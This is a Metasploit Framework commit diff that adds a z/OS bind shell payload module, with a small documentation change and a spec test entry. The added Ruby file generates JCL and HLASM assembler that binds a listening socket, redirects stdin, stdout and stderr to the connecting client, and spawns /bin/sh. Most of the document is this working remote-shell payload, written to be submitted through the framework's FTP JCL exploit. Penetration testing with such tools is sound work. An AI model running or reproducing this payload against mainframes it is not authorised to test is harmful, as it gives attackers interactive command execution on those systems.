Skip to content

Commit c701a53

Browse files
author
Brent Cook
committed
Land rapid7#9018, Add Bind Shell JCL Payload for z/OS
2 parents 7292ee2 + 9ae8bdd commit c701a53

File tree

3 files changed

+334
-0
lines changed

3 files changed

+334
-0
lines changed

documentation/modules/exploit/mainframe/ftp/ftp_jcl_creds.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,7 @@ Compatible Payloads
2121
Name Disclosure Date Rank Description
2222
---- --------------- ---- -----------
2323
cmd/mainframe/apf_privesc_jcl normal JCL to escalate privilages via APF LIB
24+
cmd/mainframe/bind_shell_jcl normal Z/OS (MVS) Command Shell, Bind TCP
2425
cmd/mainframe/generic_jcl normal Generic JCL Test for Mainframe Exploits
2526
cmd/mainframe/reverse_shell_jcl normal Z/OS (MVS) Command Shell, Reverse TCP
2627
```
Lines changed: 323 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,323 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
# This payload has no ebcdic<->ascii translator built in.
5+
# Therefore it must use a shell which does, like mainframe_shell
6+
#
7+
# this payload will spawn a bind shell from z/os, when submitted
8+
# on the system as JCL to JES2
9+
##
10+
11+
require 'msf/core/handler/bind_tcp'
12+
require 'msf/base/sessions/mainframe_shell'
13+
require 'msf/base/sessions/command_shell_options'
14+
15+
module MetasploitModule
16+
CachedSize = 10712
17+
include Msf::Payload::Single
18+
include Msf::Payload::Mainframe
19+
include Msf::Sessions::CommandShellOptions
20+
21+
def initialize(info = {})
22+
super(merge_info(info,
23+
'Name' => 'Z/OS (MVS) Command Shell, Bind TCP',
24+
'Description' => 'Provide JCL which creates a bind shell
25+
This implmentation does not include ebcdic character translation,
26+
so a client with translation capabilities is required. MSF handles
27+
this automatically.',
28+
'Author' => 'Bigendian Smalls',
29+
'License' => MSF_LICENSE,
30+
'Platform' => 'mainframe',
31+
'Arch' => ARCH_CMD,
32+
'Handler' => Msf::Handler::BindTcp,
33+
'Session' => Msf::Sessions::MainframeShell,
34+
'PayloadType' => 'cmd',
35+
'RequiredCmd' => 'jcl',
36+
'Payload' =>
37+
{
38+
'Offsets' => {},
39+
'Payload' => ''
40+
}))
41+
register_options(
42+
[
43+
# need these defaulted so we can manipulate them in command_string
44+
Opt::LHOST('0.0.0.0'),
45+
Opt::LPORT(32700),
46+
OptString.new('ACTNUM', [true, "Accounting info for JCL JOB card", "MSFUSER-ACCTING-INFO"]),
47+
OptString.new('PGMNAME', [true, "Programmer name for JCL JOB card", "programmer name"]),
48+
OptString.new('JCLASS', [true, "Job Class for JCL JOB card", "A"]),
49+
OptString.new('NOTIFY', [false, "Notify User for JCL JOB card", ""]),
50+
OptString.new('MSGCLASS', [true, "Message Class for JCL JOB card", "Z"]),
51+
OptString.new('MSGLEVEL', [true, "Message Level for JCL JOB card", "(0,0)"])
52+
], self.class
53+
)
54+
register_advanced_options(
55+
[
56+
OptBool.new('NTFYUSR', [true, "Include NOTIFY Parm?", false]),
57+
OptString.new('JOBNAME', [true, "Job name for JCL JOB card", "DUMMY"])
58+
],
59+
self.class
60+
)
61+
end
62+
63+
##
64+
# Construct Payload
65+
##
66+
def generate
67+
super + command_string
68+
end
69+
70+
##
71+
# Setup replacement vars and populate payload
72+
##
73+
def command_string
74+
if (datastore['JOBNAME'] == "DUMMY") && !datastore['FTPUSER'].nil?
75+
datastore['JOBNAME'] = (datastore['FTPUSER'] + "1").strip.upcase
76+
end
77+
lhost = Rex::Socket.resolv_nbo(datastore['LHOST'])
78+
lhost = lhost.unpack("H*")[0]
79+
lport = datastore['LPORT']
80+
lport = lport.to_s.to_i.to_s(16).rjust(4, '0')
81+
82+
jcl_jobcard +
83+
"//**************************************/\n" \
84+
"//* SPAWN BIND SHELL FOR MSF MODULE */\n" \
85+
"//**************************************/\n" \
86+
"//*\n" \
87+
"//STEP1 EXEC PROC=ASMACLG,PARM.L=(CALL)\n" \
88+
"//L.SYSLIB DD DSN=SYS1.CSSLIB,DISP=SHR\n" \
89+
"//C.SYSIN DD *,DLM=ZZ\n" \
90+
" TITLE 'Spawns Bind Shell'\n" \
91+
"SPAWNBND CSECT\n" \
92+
"SPAWNBND AMODE 31\n" \
93+
"SPAWNBND RMODE ANY\n" \
94+
"***********************************************************************\n" \
95+
"* @SETUP registers and save areas *\n" \
96+
"***********************************************************************\n" \
97+
" USING *,15\n" \
98+
"@SETUP0 B @SETUP1\n" \
99+
" DROP 15\n" \
100+
" DS 0H # half word boundary\n" \
101+
"@SETUP1 STM 14,12,12(13) # save our registers\n" \
102+
" LR 2,13 # callers sa\n" \
103+
" LR 8,15 # pgm base in R8\n" \
104+
" USING @SETUP0,8 # R8 for base addressability\n" \
105+
"*************************************\n" \
106+
"* set up data area / addressability *\n" \
107+
"*************************************\n" \
108+
" L 0,@DYNSIZE # len of variable area\n" \
109+
" GETMAIN RU,LV=(0) # get data stg, len R0\n" \
110+
" LR 13,1 # data address\n" \
111+
" USING @DATA,13 # addressability for data area\n" \
112+
" ST 2,@BACK # store callers sa address\n" \
113+
" ST 13,8(,2) # store our data addr\n" \
114+
" DS 0H # halfword boundaries\n" \
115+
"\n" \
116+
"***********************************************************************\n" \
117+
"* BPX1SOC set up socket - inline *\n" \
118+
"***********************************************************************\n" \
119+
" CALL BPX1SOC, X\n" \
120+
" (DOM,TYPE,PROTO,DIM,SRVFD, X\n" \
121+
" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
122+
"*******************************\n" \
123+
"* chk return code, 0 or exit *\n" \
124+
"*******************************\n" \
125+
" LHI 15,2\n" \
126+
" L 6,RTN_VAL\n" \
127+
" CIB 6,0,7,EXITP # R6 not 0? Time to exit\n" \
128+
"\n" \
129+
"***********************************************************************\n" \
130+
"* BPX1BND (bind) bind to local socket - inline *\n" \
131+
"***********************************************************************\n" \
132+
" XC SOCKADDR(16),SOCKADDR # zero sock addr struct\n" \
133+
" MVI SOCK_FAMILY,AF_INET # family inet\n" \
134+
" MVI SOCK_LEN,SOCK#LEN # len of socket\n" \
135+
" MVC SOCK_SIN_PORT,CONNSOCK # port to bind to\n" \
136+
" MVC SOCK_SIN_ADDR,CONNADDR # address to bind to\n" \
137+
" CALL BPX1BND, X\n" \
138+
" (SRVFD,SOCKLEN,SOCKADDR, X\n" \
139+
" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
140+
"*******************************\n" \
141+
"* chk return code, 0 or exit *\n" \
142+
"*******************************\n" \
143+
" LHI 15,3\n" \
144+
" L 6,RTN_VAL\n" \
145+
" CIB 6,0,7,EXITP # R6 not 0? Time to exit\n" \
146+
"\n" \
147+
"***********************************************************************\n" \
148+
"* BPX1LSN (listen) listen on local socket - inline *\n" \
149+
"***********************************************************************\n" \
150+
" CALL BPX1LSN, X\n" \
151+
" (SRVFD,BACKLOG, X\n" \
152+
" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
153+
"*******************************\n" \
154+
"* chk return code, 0 or exit *\n" \
155+
"*******************************\n" \
156+
" LHI 15,4\n" \
157+
" L 6,RTN_VAL\n" \
158+
" CIB 6,0,7,EXITP # R6 not 0? Time to exit\n" \
159+
"\n" \
160+
"***********************************************************************\n" \
161+
"* BPX1ACP (accept) accept socket connection - inline *\n" \
162+
"***********************************************************************\n" \
163+
" XC SOCKADDR(16),SOCKADDR # zero sock addr struct\n" \
164+
" MVI SOCK_FAMILY,AF_INET # family inet\n" \
165+
" MVI SOCK_LEN,SOCK#LEN # len of socket\n" \
166+
" CALL BPX1ACP, X\n" \
167+
" (SRVFD,CLILEN,CLISKT, X\n" \
168+
" CLIFD,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
169+
"*******************************\n" \
170+
"* chk return code, 0 or exit *\n" \
171+
"*******************************\n" \
172+
" LHI 15,5\n" \
173+
" L 6,RTN_VAL\n" \
174+
" CIB 6,0,7,EXITP # R6 not 0? Time to exit\n" \
175+
"\n" \
176+
"*************************************************\n" \
177+
"* order of things to prep child pid *\n" \
178+
"* 0) Dupe all 3 file desc of CLIFD *\n" \
179+
"* 1) Dupe parent read fd to std input *\n" \
180+
"*************************************************\n" \
181+
"*******************\n" \
182+
"***** STDIN *****\n" \
183+
"*******************\n" \
184+
" CALL BPX1FCT, X\n" \
185+
" (CLIFD, X\n" \
186+
" =A(F_DUPFD2), X\n" \
187+
" =A(F_STDI), X\n" \
188+
" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
189+
"****************************************************\n" \
190+
"* chk return code here anything but -1 is ok *\n" \
191+
"****************************************************\n" \
192+
" LHI 15,6 # exit code for this func\n" \
193+
" L 7,RTN_VAL # set r7 to rtn val\n" \
194+
" CIB 7,-1,8,EXITP # r6 = -1 exit\n" \
195+
"\n" \
196+
"*******************\n" \
197+
"***** STDOUT *****\n" \
198+
"*******************\n" \
199+
" CALL BPX1FCT, X\n" \
200+
" (CLIFD, X\n" \
201+
" =A(F_DUPFD2), X\n" \
202+
" =A(F_STDO), X\n" \
203+
" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
204+
"****************************************************\n" \
205+
"* chk return code here anything but -1 is ok *\n" \
206+
"****************************************************\n" \
207+
" LHI 15,7 # exit code for this func\n" \
208+
" L 7,RTN_VAL # set r7 to rtn val\n" \
209+
" CIB 7,-1,8,EXITP # r6 = -1 exit\n" \
210+
"\n" \
211+
"*******************\n" \
212+
"***** STDERR *****\n" \
213+
"*******************\n" \
214+
" CALL BPX1FCT, X\n" \
215+
" (CLIFD, X\n" \
216+
" =A(F_DUPFD2), X\n" \
217+
" =A(F_STDE), X\n" \
218+
" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
219+
"****************************************************\n" \
220+
"* chk return code here anything but -1 is ok *\n" \
221+
"****************************************************\n" \
222+
" LHI 15,8 # exit code for this func\n" \
223+
" L 7,RTN_VAL # set r7 to rtn val\n" \
224+
" CIB 7,-1,8,EXITP # r7 = -1 exit\n" \
225+
"\n" \
226+
"***********************************************************************\n" \
227+
"* BP1SPN (SPAWN) execute shell '/bin/sh' *\n" \
228+
"***********************************************************************\n" \
229+
" XC INHE(INHE#LENGTH),INHE # clear inhe structure\n" \
230+
" XI INHEFLAGS0,INHESETPGROUP\n" \
231+
" SPACE ,\n" \
232+
" MVC INHEEYE,=C'INHE'\n" \
233+
" LH 0,TLEN\n" \
234+
" STH 0,INHELENGTH\n" \
235+
" LH 0,TVER\n" \
236+
" STH 0,INHEVERSION\n" \
237+
" CALL BPX1SPN, X\n" \
238+
" (EXCMDL,EXCMD,EXARGC,EXARGLL,EXARGL,EXENVC,EXENVLL, X\n" \
239+
" EXENVL,FDCNT,FDLST,=A(INHE#LENGTH),INHE,RTN_VAL, X\n" \
240+
" RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
241+
" LHI 15,9 # exit code for this func\n" \
242+
" L 7,RTN_VAL # set r7 to rtn val\n" \
243+
" L 6,RTN_COD\n" \
244+
" L 5,RSN_COD\n" \
245+
" CIB 7,-1,8,EXITP # r7 = -1 exit\n" \
246+
"\n" \
247+
"****************************************************\n" \
248+
"* cleanup & exit preload R15 with exit code *\n" \
249+
"****************************************************\n" \
250+
" XR 15,15 # 4 FOR rc\n" \
251+
"EXITP L 0,@DYNSIZE\n" \
252+
" LR 1,13\n" \
253+
" L 13,@BACK\n" \
254+
" DROP 13\n" \
255+
" FREEMAIN RU,LV=(0),A=(1) #free storage\n" \
256+
" XR 15,15\n" \
257+
" L 14,12(,13) # load R14\n" \
258+
" LM 0,12,20(13) # load 0-12\n" \
259+
" BSM 0,14 # branch to caller\n" \
260+
"\n" \
261+
"****************************************************\n" \
262+
"* Constants and Variables *\n" \
263+
"****************************************************\n" \
264+
" DS 0F # constants full word boundary\n" \
265+
"F_STDI EQU 0\n" \
266+
"F_STDO EQU 1\n" \
267+
"F_STDE EQU 2\n" \
268+
"*************************\n" \
269+
"* Socket conn variables * # functions used by pgm\n" \
270+
"*************************\n" \
271+
"CONNSOCK DC XL2'#{lport}' # LPORT\n" \
272+
"CONNADDR DC XL4'#{lhost}' # LHOST\n" \
273+
"BACKLOG DC F'1' # 1 byte backlog\n" \
274+
"DOM DC A(AF_INET) # AF_INET = 2\n" \
275+
"TYPE DC A(SOCK#_STREAM) # stream = 1\n" \
276+
"PROTO DC A(IPPROTO_IP) # ip = 0\n" \
277+
"DIM DC A(SOCK#DIM_SOCKET) # dim_sock = 1\n" \
278+
"SOCKLEN DC A(SOCK#LEN+SOCK_SIN#LEN)\n" \
279+
"CLILEN DC F'0' # client sock len - don't care\n" \
280+
"CLISKT DC X'00' # client socket struck - don't care\n" \
281+
"************************\n" \
282+
"* BPX1SPN vars *********\n" \
283+
"************************\n" \
284+
"EXCMD DC CL7'/bin/sh' # command to exec\n" \
285+
"EXCMDL DC A(L'EXCMD) # len of cmd to exec\n" \
286+
"EXARGC DC F'1' # num of arguments\n" \
287+
"EXARG1 DC CL2'sh' # arg 1 to exec\n" \
288+
"EXARG1L DC A(L'EXARG1) # len of arg1\n" \
289+
"EXARGL DC A(EXARG1) # addr of argument list\n" \
290+
"EXARGLL DC A(EXARG1L) # addr of arg len list\n" \
291+
"EXENVC DC F'0' # env var count\n" \
292+
"EXENVL DC F'0' # env var arg list addr\n" \
293+
"EXENVLL DC F'0' # env var arg len addr\n" \
294+
"FDCNT DC F'0' # field count s/b 0\n" \
295+
"FDLST DC F'0' # field list addr s/b 0\n" \
296+
"TVER DC AL2(INHE#VER)\n" \
297+
"TLEN DC AL2(INHE#LENGTH)\n" \
298+
" SPACE ,\n" \
299+
"@DYNSIZE DC A(@ENDYN-@DATA)\n" \
300+
"***************************\n" \
301+
"***** end of constants ****\n" \
302+
"***************************\n" \
303+
"@DATA DSECT ,\n" \
304+
" DS 0D\n" \
305+
"PLIST DS 16A\n" \
306+
"RTN_VAL DS F # return value\n" \
307+
"RTN_COD DS F # return code\n" \
308+
"RSN_COD DS F # reason code\n" \
309+
"CLIFD DS F # client fd\n" \
310+
"SRVFD DS F # server fd\n" \
311+
"@BACK DS A\n" \
312+
"*\n" \
313+
" BPXYSOCK LIST=NO,DSECT=NO\n" \
314+
" BPXYFCTL LIST=NO,DSECT=NO\n" \
315+
" BPXYINHE LIST=NO,DSECT=NO\n" \
316+
"@ENDYN EQU *\n" \
317+
"@DATA#LEN EQU *-@DATA\n" \
318+
" BPXYCONS LIST=YES\n" \
319+
" END SPAWNBND\n" \
320+
"ZZ\n" \
321+
"//*\n"
322+
end
323+
end

spec/modules/payloads_spec.rb

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -438,6 +438,16 @@
438438
reference_name: 'cmd/mainframe/generic_jcl'
439439
end
440440

441+
context 'cmd/mainframe/bind_shell_jcl' do
442+
it_should_behave_like 'payload cached size is consistent',
443+
ancestor_reference_names: [
444+
'singles/cmd/mainframe/bind_shell_jcl'
445+
],
446+
dynamic_size: false,
447+
modules_pathname: modules_pathname,
448+
reference_name: 'cmd/mainframe/bind_shell_jcl'
449+
end
450+
441451
context 'cmd/mainframe/reverse_shell_jcl' do
442452
it_should_behave_like 'payload cached size is consistent',
443453
ancestor_reference_names: [

0 commit comments

Comments
 (0)